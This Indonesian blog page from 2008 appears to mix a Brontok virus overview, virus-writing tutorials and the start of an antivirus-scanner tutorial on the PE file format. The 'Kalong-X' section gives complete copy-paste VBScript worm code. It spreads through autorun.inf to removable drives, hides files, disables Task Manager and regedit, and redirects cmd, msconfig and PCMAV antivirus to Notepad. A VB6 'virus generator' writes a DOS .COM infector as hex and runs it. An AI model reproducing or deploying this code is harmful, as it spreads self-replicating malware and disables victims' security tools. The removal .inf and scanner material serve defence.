Thursday, April 24, 2008
Source Code Brontok
Ini nich mau mengulas sedikit tentang virus brontok versi pertamanya hehehe... dah telat kali....tapi gpp buat referensi az he²...
Dilihat struktur file dari virus tersebut ternyata pembuatan virusnya menggunakan visual basic 6.0
Virus ini terdiri dari 1 form dan 1 Module, dengan nama
==>>Form: BrontokForm
==>>Module: API
Dengan detailnya sebagai berikut:
Begin VB.Form BrontokForm
Caption = \"Brontok.A\"
ForeColor = &H8000000F&
ScaleMode = 1
BeginProperty Font
Name = \"\"
Size = 195323.4944
Charset = 29
Weight = 774
EndProperty
Begin VB.Timer TmrBrontok
Enabled = 0 \'False
Interval = 2000
Left = 2160
Top = 0
Width = 57352
Height = 1
End
End
Dan diberi nama : Brontok.vbp, yang disimpan pada directory:
F:\\VPROJECT\\REHAB\\Re-1\\BRONTOK.A
=>>Ada beberapa procedure & function yang digunakan dengan nama:
Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
TmrBrontok_Timer()
Subr_004()
CekKoneksiInternet()
ManipulasiExec()
Subr_007()
KeluarDong()
BronReg()
CopyAppData()
DownloadVir()
StartDong()
StartUp()
DecTeks()
MutMutex()
MutCr()
DownloadFile()
CekUpdate()
InfekNetwork()
Judul()
CekRemDisk()
BikinFile()
GetEmailFile()
CekValidMail()
GetTeks()
CekKar()
ListMail()
GetTargetMBhs()
GavMailer()
BrontokMail()
Subr_031()
DataEmail()
DownMIME()
FindFilesAPI()
ListFileGav()
InfekFile()
SmallAttack()
MinggirLoe()
GetHostByNameAlias()
StripNulls()
BikinKredit()
=>>Ada beberapa fungsi Api yang digunakan anatara lain:
Ω Fungsi Baca Tulis Ke Register:
Declare Function RegOpenKeyExA Lib \"advapi32.dll\" ()
Declare Function RegSetValueExA Lib \"advapi32.dll\" ()
Declare Function RegCloseKey Lib \"advapi32.dll\" ()
Declare Function RegCreateKeyExA Lib \"advapi32.dll\" ()
Declare Function Sleep Lib \"kernel32\" ()
Ω Mendapatkan Spesial Folder:
Declare Function SHGetPathFromIDList Lib \"shell32.dll\" ()
Declare Function SHGetSpecialFolderLocation Lib \"shell32.dll\" ()
Ω Membaca Isi Halaman Situs:
Declare Function InternetOpenA Lib \"wininet.dll\" ()
Declare Function InternetOpenUrlA Lib \"wininet.dll\" ()
Declare Function InternetReadFile Lib \"wininet.dll\" ()
Declare Function InternetCloseHandle Lib \"wininet.dll\" ()
Ω Mendapatkan Caption Dari Sebuah Window:
Declare Function GetWindowTextA Lib \"user32\" ()
Declare Function GetWindowTextLengthA Lib \"user32\" ()
Ω Dapatkan HWND Window aktif:
Declare Function GetForegroundWindow Lib \"user32\" ()
Shutdown, Reboot, LogOff Windows:
Declare Function ExitWindowsEx Lib \"user32\" ()
Declare Function GetCurrentProcess Lib \"kernel32\" ()
Declare Function OpenProcessToken Lib \"advapi32\" ()
Declare Function LookupPrivilegeValueA Lib \"advapi32\" ()
Declare Function AdjustTokenPrivileges Lib \"advapi32\" ()
Ω Mendapatkan Jenis Media yang ada spt Removable Disk, CD-Rom dll:
Declare Function GetDriveTypeA Lib \"kernel32\" ()
Declare Function ShellExecuteA Lib \"shell32.dll\" ()
Declare Function RtlMoveMemory Lib \"kernel32\" ()
Ω Winsock API:
Declare Function closesocket Lib \"wsock32.dll\" ()
Declare Function connect Lib \"wsock32.dll\" ()
Declare Function htons Lib \"wsock32.dll\" ()
Declare Function inet_addr Lib \"wsock32.dll\" ()
Declare Function recv Lib \"wsock32.dll\" ()
Declare Function send Lib \"wsock32.dll\" ()
Declare Function socket Lib \"wsock32.dll\" ()
Declare Function gethostbyname Lib \"wsock32.dll\" ()
Declare Function WSAStartup Lib \"wsock32.dll\" ()
Declare Function WSACleanup Lib \"wsock32.dll\" ()
Declare Function WSAAsyncSelect Lib \"wsock32.dll\" ()
Ω Fungsi yang berhubungan dengan file:
Declare Function FindFirstFileA Lib \"kernel32\" ()
Declare Function FindNextFileA Lib \"kernel32\" ()
Declare Function GetFileAttributesA Lib \"kernel32\" ()
Declare Function FindClose Lib \"kernel32\" ()
penularan virus ini melalui beberapa cara. seperti pengiriman lewat email, pencarian nama komputer yang terhubung kejaringan dengan menyalin dirinya pada folder yang di sharing dan menyalin dirinya pada window explorer yang aktif. kalo gak
salah si pembuat virus mempunyai SMTP sendiri
Jika dilihat kembali pada strukturnya ada beberapa kata yang di encrypt, kemungkinan berupa exploit code atau apalah namanya. hanya allah dan pembuat virus yang tau.Virus ini mempunyai fungsi ExitWindowsEx yang diimport dari file user32.dll, fungsi ini biasanya digunakan untuk mematikan windows.
Selain itu dalam struktur filenya terdapat kata-kata seperti ini:
FOLDER.HTT
RORO
.HTT
.DOC
.CSV
.EML
.CFM
.PHP
.WAB
.EML
.TXT
.HTML
.HTM
MY DATA SOURCES
MY EBOOKS
MY MUSIC
MY SHAPES
MY VIDEOS
MY DOCUMENT
Ada beberapa alamat situs yang diserang, (seperti DDOS red). Selain itu pembuat virus mencantumkan nama: --JowoBot#VM Community --
menonaktifkan virus ini secara cepat,masuk safemode kemudian rename file
MSVBVM60.dll menjadi MSVBVM60.dl_ ato terserah pokoknya ekstensinya bukan .dll
karena virus ini membutuhkan runtime vb. setelah tidak aktif baru kita bisa hapus beberapa registry entry dan file-file virus brontoknya.
Free download
Create virus with Notepad in VBS
Nah kita akan buat varian lain dari KALONG.VBS. Yaitu KALONG-X.VBS. Lebih hebat dari Kalong.VBS. Sebenarnya ini varian ketiga. Sebenarnya virus ini sama saja dengan Kalong.VBS namun ditambahkan kemampuan manipulasi registry yang lebih mengerikan
Ayo sekarang kita buka saja Notepadnya dan ketikkan code berikut. Jika malas kan tinggak Copy > Paste….
‘Kalong-X
‘Varian dari Kalong.VBS
on error resume next
‘Dim kata-kata berikut
dim rekur,windowpath,desades,fs,mf,isi,tf,kalong,nt,check,sd
’siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6ms32.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘buat file induk
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs “)
tf.attributes = 32
set tf = fs.createtextfile(windowpath & “\k4l0n6-x.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf = fs.getfile(windowpath & “\k4l0n6-x.dll.vbs”)
tf.attributes = 39
’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in fs.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes =32
set tf=fs.createtextfile(desades.path &”\k4l0n6ms32.dll.vbs”,2,true)
tf.write rekur
tf.close
set tf=fs.getfile(desades.path &”\k4l0n6ms32.dll.vbs”)
tf.attributes = 39
set tf =fs.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘Manipulasi Registry
set kalong = createobject(”WScript.Shell”)
‘Ubah IE Title
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: ->KALONG-X<- ::”
‘File Hidden tak terlihat
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”,2, “REG_DWORD”
‘Blokir Find, FolderOptions, Run, Regedit, Task Manager, dan klik kanan
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘Buat pesan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “THE KALONG-X”
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,”No reason for Panic”
‘Aktifkan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs”
‘Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger”,”notepad.exe”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger”,”notepad.exe”
‘Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
Setelah Anda menempatkan kode tersebut klik FILE > SAVE. Di File Type pilih ALL FILES (*.*) lalu simpan dengan nama k4l0n6ms32.dll.vbs. Setelah itu coba Anda jalankan. Dan ya, Anda telah menjalankan KALONG-X.VBS di komputer Anda.
Jika Anda membuka aplikasi yang bernama : cmd.exe, install.exe, msconfig.exe, regedit.exe, regedt32.exe, RegistryEditor.exe, setup.exe, PCMAV.exe, PCMAV-CLN.exe, dan PCMAV-RTP.exe maka akan terbuka Notepad yang isinya kurang lebih mirip seperti ini :
Ingat jadilah orang yang bermanfaat bagi orang lain. Tidak ada “barang berbahaya” disini karena Andalah yang membuatnya berbahaya. Saya tidak bertanggung jawab apabila Anda menyalahgunakan kode ini. Ini untuk ilmu pengetahuan semata. Kalau disalahgunakan saya kutuk mukanya mirip Tukul (Wah…jadi terkenal nanti)…jangan deh. Pokoknya segala kenekatan Anda ditanggung oleh Anda sendiri.
Virus ini punya kemampuan Autorun jadi komputer yang dicolokkan Removable Disc (Mislanya Flash Disc) yang terinfeksi virus ini akan diinfeksi pula (jika Autorun tidak di non-aktifkan)
NOTE: Untuk membersihkan Kalong-X caranya mudah. Tinggal hentikan proses yang bernama wscript.exe. Jika di WinNT Anda bisa melakukannya lewat Task Manager. Tapi kalau Win9X silahkan cari tool pengganti Task Manager misalnya Procexp atau CurrProcess. Soalnya terkadang kalau lewat perintah Command Prompt gak bisa.
Setelah Anda memberhentikan proses wscript.exe hapus file induk yang bernama k4l0n6-x.dll.vbs di WINDOWSDIR (C:\Windows misalnya). Jika tidak ada tampilkan dulu file hidden dengan Folder Options. Setelah itu perbaiki Registry. Untuk mempercepat salin kode ini ke Notepad :
[Version]
Signature=”$Chicago$”
Provider=Fariskhi
[DefaultInstall]
AddReg=UnhookRegKey
DelReg=del
[UnhookRegKey]
HKCU,Software\Microsoft\Internet Explorer\Main, Window Title,0, “INTERNET EXPLORER”
[del]
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFind
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoFolderOptions
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoRun
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableRegistryTools
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System, DisableTaskMgr
HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, NoViewContextMenu
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeCaption
HKLM, Software\Microsoft\Windows\CurrentVersion\Winlogon, LegalNoticeText
HKLM, Software\Microsoft\Windows\CurrentVersion\Run, Systemdir
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe, Debugger
HKLM, SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe, Debugger
Setelah itu save dengan FILE TYPE : ALL FILES (*.*) dan simpan dengan nama : kalongxremoval.inf. Setelah itu klik kanan file tersebut dan pilih install. Jadi kita buat Virus dan Antidotnya sama-sama dengan Notepad.
Create Virus Generator
Pada program yang akan dibahas ini file yang akan dihasilkan/ di-drop ke drive C:\ adalah file tv.dbg, tv.bat dan TESVIRUS.com. Program ini di-compile menggunakan VB 6.0 ) Virus yang akan dihasilkan adalah virus TESVIRUS.COM yaitu virus yang sama dengan virus yang telah anda buat diatas, perbedaannya adalah program ini akan terus menghasilkan virus TESVIRUS.COM di drive C:\ jika program ini dijalankan. Terlebih dahulu anda memilih tipe ’standard exe’ di VB dan Add 1 module pada program VB. Salin code berikut pada text editor VB. <++ TESVIRUS2 ++> ‘ kode di module Public Function DropVir() On Error Resume Next Dim x, tvBat As String x = “C:\tv.dbg” Open x For Output As #1 Print #1, “N C:\TESVIRUS.COM” Print #1, “E 0100 B4 4E 33 C9 BA 2F 01 CD 21 72 1B B8 02 3D BA 9E” Print #1, “E 0110 00 CD 21 93 B4 40 B9 EA 00 BA 00 01 CD 21 B4 3E” Print #1, “E 0120 CD 21 B4 4F EB DC B4 09 BA 35 01 CD 21 CD 20 2A” Print #1, “E 0130 2E 63 6F 6D 00 73 65 6D 75 61 20 66 69 6C 65 20″ Print #1, “E 0140 2A 2E 63 6F 6D 20 64 69 20 64 69 72 65 6B 74 6F” Print #1, “E 0150 72 69 20 69 6E 69 20 73 75 64 61 68 20 64 69 69″ Print #1, “E 0160 6E 66 65 6B 73 69 0A 0D 73 65 6C 61 6D 61 74 20″ Print #1, “E 0170 65 6C 6F 20 62 65 72 68 61 73 69 6C 20 62 69 6B” Print #1, “E 0180 69 6E 20 76 69 72 75 73 20 70 65 72 74 61 6D 61″ Print #1, “E 0190 20 6B 61 6D 75 20 3A 29 0A 0D 6B 72 69 74 69 6B” Print #1, “E 01A0 20 64 61 6E 20 73 61 72 61 6E 20 65 4D 61 69 6C” Print #1, “E 01B0 20 6B 65 20 64 52 34 47 47 79 40 79 61 68 6F 6F” Print #1, “E 01C0 2E 63 6F 6D 2E 2E 2E 0A 0D 54 65 73 56 69 72 75″ Print #1, “E 01D0 73 20 54 72 69 76 69 61 4C 20 2D 20 64 52 34 47″ Print #1, “E 01E0 47 79 20 2D 20 30 34 0A 0D 24″ Print #1, “RCX” Print #1, “00EA” Print #1, “W” Print #1, “Q” Close #1 tvBat = “C:\tvBat.bat” Open tvBat For Output As #1 Print #1, “@echo off” Print #1, “debug < C:\tv.dbg” Print #1, “del C:\tv.dbg” Close #1 Shell “C:\tvBat.bat”, vbNormalFocus ‘ atau gunakan vbHide agar ‘ proses dilakukan secara ‘ background End Function ‘ kode di form Private Sub Form_Load() Call DropVir Unload Me End Sub <– TESVIRUS2 –> Setelah itu compile program anda dan jalankan, jika berhasil maka sekarang di drive C: akan muncul program TESVIRUS.com. Karena program ini dibuat dengan cepat jadi ada beberapa kekurangannya seperti program ini tidak mencek kembali apakah file TESVIRUS.COM telah ada di drive C:\, untuk itu anda mungkin dapat menambahkan fungsi ‘FileExists’ untuk mencek file tersebut atau anda dapat berkreasi sendiri dengan menggunakan cara anda sendiri untuk berkreasi seperti men-drop virus ke folder C:\Windows\System32 — 07 // Final Word —————————————————– “ilmu itu bukan untuk dibaca tapi untuk dipraktekkan.” “jangan takut untuk mencoba, trial n’ error is the best lessons in the world” "Happy programming"
-=[ by cyberjunk ]=-
Create Anti Virus with visual Basic 6.0
Membuat Anti Virus
Seperti yang diketahui, scanner statis akan mendeteksi sebuah malware atau thread berdasarkan hasil checksum dari file tersebut. Tetapi teknik ini tidak akan efesien apabila diterapkan pada malware yang sudah mengimplementasikan teknik polymorph. Teknik Polymorph secara umum adalah teknik mereplikasi diri dan tiap signature replikanya berbeda satu sama lain.
Dalam beberapa kasus virus lokal sudah ditemukan penggunaan teknik polymorph. Baik itu secara sederhana maupun kompleks. Cara yang biasa digunakan yaitu :
- Merubah atau mengenkripsi nama variabel dan string
- Menambah atau mengurangi byte-byte tertentu dalam diri virus
- Menggunakan engine polymorph tertentu
Untuk kasus yang menggunakan teknik enkripsi, tidak semua jenis enkripsi dapat didekripsi oleh engine Antivirus. Perlu analisa dengan menggunakan reverse-engineering yang mendalam guna memahami teknik enkripsi yang dipakai.
Pada penulisan berikut akan dijelaskan bagaimana membuat scanner statis yg bisa mengenali thread secara lebih baik dari yang terdahulu, untuk itu ada baiknya kita mengenal terlebih dahulu format file PE (Portable Executable) pada Windows.
Format File PE mulai dikenalkan pada Windows NT 3.1, dimana format file ini masih menyimpan header MZ dari MS-DOS. Berikut skema dasar format file PE :
|—————————-|
| CodeView Debug Information |
|—————————-|
| COFF Symbols |
|—————————-|
| COFF Line Numbers |
|—————————-|
| Section - n |
| . |
| . |
| Section - 2 |
|—————————-|
| Section - 1 |
|—————————-|
| Section - 0 |
|—————————-|
| Array Section table |
| . |
| . |
| Array Section table |
|—————————-|
| Data Directory |
|—————————-|
| |
|—————————-|
| Image File Header |
|—————————-|
| “PE” |
|—————————-|
| “MZ” |
|—————————-|
[ PE Header ]
PE Header merupakan salah satu struktur dari IMAGE_NT_HEADER (dideklarasikan dalam WINNT.H). Header ini mengandung berbagai macam jenis informasi seperti lokasi dan ukuran dari area kode dan data, system operasi yang dipakai, ukuran stack, dan lain-lain. Header ini juga mengandung MS-DOS stub, yaitu program kecil yang akan menampilkan teks “This program cannot be run in MS-DOS mode.” bila file PE dijalankan di lingkungan yang tidak mendukung Win32. PE Header Terdiri dari struktur :
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
Dimana Signature adalah teks “PE”. Sedangkan IMAGE_FILE_HEADER berisi struktur :
WORD Machine //Berisi nilai untuk jenis CPU yang dipakai, ex : 0×14d untuk Intel i860
WORD NumberOfSections //Berisi jumlah section yang ada di file PE
DWORD TimeDateStamp //Berisi tanggal kapan linker (atau compiler untuk File OBJ) memproduksi file PE
DWORD PointerToSymbolTable //Offset untuk tabel symbol COFF
DWORD NumberOfSymbols //Berisi jumlah symbol COFF di tabel
WORD SizeOfOptionalHeader //Berisi ukuran dari optional header
WORD Characteristics //Berisi informasi tentang file PE
Untuk IMAGE_OPTIONAL_HEADER berisi :
WORD Magic //Selalu bernilai 0×010B
BYTE MajorLinkerVersion //Versi linker yang dipakai
BYTE MinorLinkerVersion //Versi linker yang dipakai
DWORD SizeOfCode //Ukuran dari section code
DWORD SizeOfInitializedData //Ukuran dari semua data section yang terinisialisasi
DWORD SizeOfUninitializedData //Ukuran dari semua data section yang tidak terinisialisasi
DWORD AddressOfEntryPoint //Alamat dimana loader akan memulai eksekusi file PE, alamat ini adalah RVA (Relative Virtual Address)
DWORD BaseOfCode //Alamat RVA dimana section code dimulai
DWORD BaseOfData //Alamat RVA dimana section data dimulai
DWORD ImageBase //Alamat dimana file PE akan dimapping di memory
DWORD SectionAlignment //Nilai penggandaan untuk mapping tiap section di memory
DWORD FileAlignment //Nilai penggandaan untuk mapping tiap section di disk
WORD MajorOperatingSystemVersion //Versi OS yang dipakai
WORD MinorOperatingSystemVersion //Versi OS yang dipakai
WORD MajorSubsystemVersion //Versi minimum OS yang dipakai
WORD MinorSubsystemVersion //Versi minimum OS yang dipakai
DWORD Reserved1 //Selalu bernilai 0
DWORD SizeOfImage //Ukuran dari image yang akan diload oleh loader
DWORD SizeOfHeaders //Ukuran dari PE Header dan tabel section
DWORD CheckSum //Nilai checksum CRC dari file PE
WORD Subsystem //Tipe subsistem yang diperlukan untuk keperluan GUI
WORD DllCharacteristics //Tanda atau flag untuk inisialisasi DLL (Dynamic Link Library)
DWORD SizeOfStackReserve //Ukuran dari virtual memory yang akan digunakan untuk inisialisasi stack
DWORD SizeOfStackCommit //Ukuran dari memory yang akan digunakan untuk inisialisasi stack
DWORD SizeOfHeapReserve //Ukuran dari virtual memory yang akan digunakan untuk inisialisasi heap proses
DWORD SizeOfHeapCommit //Ukuran dari memory yang akan digunakan untuk inisialisasi heap proses
DWORD LoaderFlags //Digunakan untuk keperluan debugging
DWORD NumberOfRvaAndSizes //Jumlah dari array DataDirectory
[ Tabel Section ]
Secara umum Tabel Section dapat dianalogikan sebagai “daftar” untuk tiap section yang ada di file PE. Tabel ini mencakup informasi tentang section-section file PE. berikut contoh layout dari tabel section file PE yang sudah di dump :
01 .text VirtSize: 00005AFA VirtAddr: 00001000
raw data offs: 00000400 raw data size: 00005C00
relocation offs: 00000000 relocations: 00000000
line # offs: 00009220 line #’s: 0000020C
characteristics: 60000020
CODE MEM_EXECUTE MEM_READ
02 .bss VirtSize: 00001438 VirtAddr: 00007000
raw data offs: 00000000 raw data size: 00001600
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: C0000080
UNINITIALIZED_DATA MEM_READ MEM_WRITE
03 .rdata VirtSize: 0000015C VirtAddr: 00009000
raw data offs: 00006000 raw data size: 00000200
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: 40000040
INITIALIZED_DATA MEM_READ
04 .data VirtSize: 0000239C VirtAddr: 0000A000
raw data offs: 00006200 raw data size: 00002400
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: C0000040
INITIALIZED_DATA MEM_READ MEM_WRITE
05 .idata VirtSize: 0000033E VirtAddr: 0000D000
raw data offs: 00008600 raw data size: 00000400
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: C0000040
INITIALIZED_DATA MEM_READ MEM_WRITE
06 .reloc VirtSize: 000006CE VirtAddr: 0000E000
raw data offs: 00008A00 raw data size: 00000800
relocation offs: 00000000 relocations: 00000000
line # offs: 00000000 line #’s: 00000000
characteristics: 42000040
INITIALIZED_DATA MEM_DISCARDABLE MEM_READ
Layout diatas adalah format dari IMAGE_SECTION_HEADER, Berikut keterangan tentang IMAGE_SECTION_HEADER :
BYTE Name[IMAGE_SIZEOF_SHORT_NAME] //Nama section, biasanya diawali dengan tanda titik/dot
union { //Nilai sesungguhnya dari ukuran kode atau data
DWORD PhysicalAddress
DWORD VirtualSize
} Misc;
DWORD VirtualAddress //Alamat RVA untuk keperluan mapping oleh loader
DWORD SizeOfRawData //Ukuran dari section setelah dibulatkan ke ukuran file alignment
DWORD PointerToRawData //Offset dari section
DWORD PointerToRelocations //Offset untuk informasi relokasi section
DWORD PointerToLinenumbers //Offset untuk nomor baris (line number)
WORD NumberOfRelocations //Jumlah dari relokasi yang ada di tabel relokasi
WORD NumberOfLinenumbers //Jumlah dari nomor baris yang ada di tabel nomor baris
DWORD Characteristics //Berisi angka tertentu yang menunjukkan atribut dari suatu section (data, kode, dll)
[How to build ]
Untuk membangun suatu scanner statis yang dapat memetakan (mapping) dan mengambil sebagian sectionnya utnuk dianalisa, perlu diketahui terlebih dahulu hal-hal berikut :
- What’s section? Berhubung section yang dimiliki oleh suatu file PE beragam jumlah dan isinya, kita perlu mengetahui section keberapa dan apa isinya sebelum di analisa atau di dump. Pengidentifikasian tiap section dapat dilakukan dengan cara menganalisis karakteristik file PE tersebut.
- Is it packed/compressed or not? Kadang para pembuat aplikasi perlu memproteksi atau mengecilkan ukuran file PE mereka dengan cara menggunakan packer/compressor. Hal ini sangat berpengaruh dalam pengidentifikasian section, karena seringkali packer/compressor membuat section dummy dalam file PE yang dihasilkan.
Bahasa pemograman yang digunakan adalah Visual Basic 6.0. sedangkan Projek yang akan dibuat adalah ActiveX DLL (Dynamic Link Library), sehingga dapat digunakan oleh aplikasi lain. Referensi tentang File DLL dapat dilihat dibagian akhir artikel ini.
Section yang akan diambil adalah data atau code section, dengan mengasumsikan section tersebut berada di urutan kedua maka Section tersebut seharusnya memiliki nama “.data”. Berikut adalah flowchart sederhana dari DLL yang akan dibuat :
|Start|
|
|
|Input File|
|
|
|y
|
|Mapping tabel section|
|
|
|y
|
|Dapatkan size dan offsetnya|
|
|
|ambil checksum dari byte section tsb|
|
|
|End|
Untuk fungsi pengambilan checksum dapat menggunakan teknik CRC ataupun MD5. Khusus utnuk teknik CRC dapat ditemui pada artikel sebelumnya. Sedangkan untuk teknik MD5 dapat menggunakan file aamd532.dll yang ada di file projek artikel ini.
Berikut ini adalah contoh sederhana Activex DLLnya :
—————— START COPy FROM HERE ——————
|’Jenis Projek : Activex DLL
|’Nama file Class : Class1.cls
|
| Private Type IMAGEDOSHEADER
| e_magic As String * 2
| e_cblp As Integer
| e_cp As Integer
| e_crlc As Integer
| e_cparhdr As Integer
| e_minalloc As Integer
| e_maxalloc As Integer
| e_ss As Integer
| e_sp As Integer
| e_csum As Integer
| e_ip As Integer
| e_cs As Integer
| e_lfarlc As Integer
| e_ovno As Integer
| e_res(1 To 4) As Integer
| e_oemid As Integer
| e_oeminfo As Integer
| e_res2(1 To 10) As Integer
| e_lfanew As Long
| End Type
|
| Private Type IMAGE_SECTION_HEADER
| nameSec As String * 6
| PhisicalAddress As Integer
| VirtualSize As Long
| VirtualAddress As Long
| SizeOfRawData As Long
| PointerToRawData As Long
| PointerToRelocations As Long
| PointerToLinenumbers As Long
| NumberOfRelocations As Integer
| NumberOfLinenumbers As Integer
| Characteristics As Long
|
| End Type
|
| Private Type IMAGE_FILE_HEADER
| Machine As Integer
| NumberOfSections As Integer
| TimeDateStamp As Long
| PointerToSymbolTable As Long
| NumberOfSymbols As Long
| SizeOfOptionalHeader As Integer
| Characteristics As Integer
| End Type
|
| Private Type IMAGE_DATA_DIRECTORY
| VirtualAddress As Long
| size As Long
| End Type
|
|
| Private Type IMAGE_OPTIONAL_HEADER
| Magic As Integer
| MajorLinkerVersion As Byte
| MinorLinkerVersion As Byte
| SizeOfCode As Long
| SizeOfInitializedData As Long
| SizeOfUninitializedData As Long
| AddressOfEntryPoint As Long
| BaseOfCode As Long
| BaseOfData As Long
| ImageBase As Long
| SectionAlignment As Long
| FileAlignment As Long
| MajorOperatingSystemVersion As Integer
| MinorOperatingSystemVersion As Integer
| MajorImageVersion As Integer
| MinorImageVersion As Integer
| MajorSubsystemVersion As Integer
| MinorSubsystemVersion As Integer
| Win32VersionValue As Long
| SizeOfImage As Long
| SizeOfHeaders As Long
| CheckSum As Long
| Subsystem As Integer
| DllCharacteristics As Integer
| SizeOfStackReserve As Long
| SizeOfStackCommit As Long
| SizeOfHeapReserve As Long
| SizeOfHeapCommit As Long
| LoaderFlags As Long
| NumberOfRvaAndSizes As Long
| DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
| End Type
|
| Private Type IMAGE_NT_HEADERS
| Signature As String * 4
| FileHeader As IMAGE_FILE_HEADER
| OptionalHeader As IMAGE_OPTIONAL_HEADER
| End Type
|
| Private DOSHEADER As IMAGEDOSHEADER
| Private NTHEADER As IMAGE_NT_HEADERS
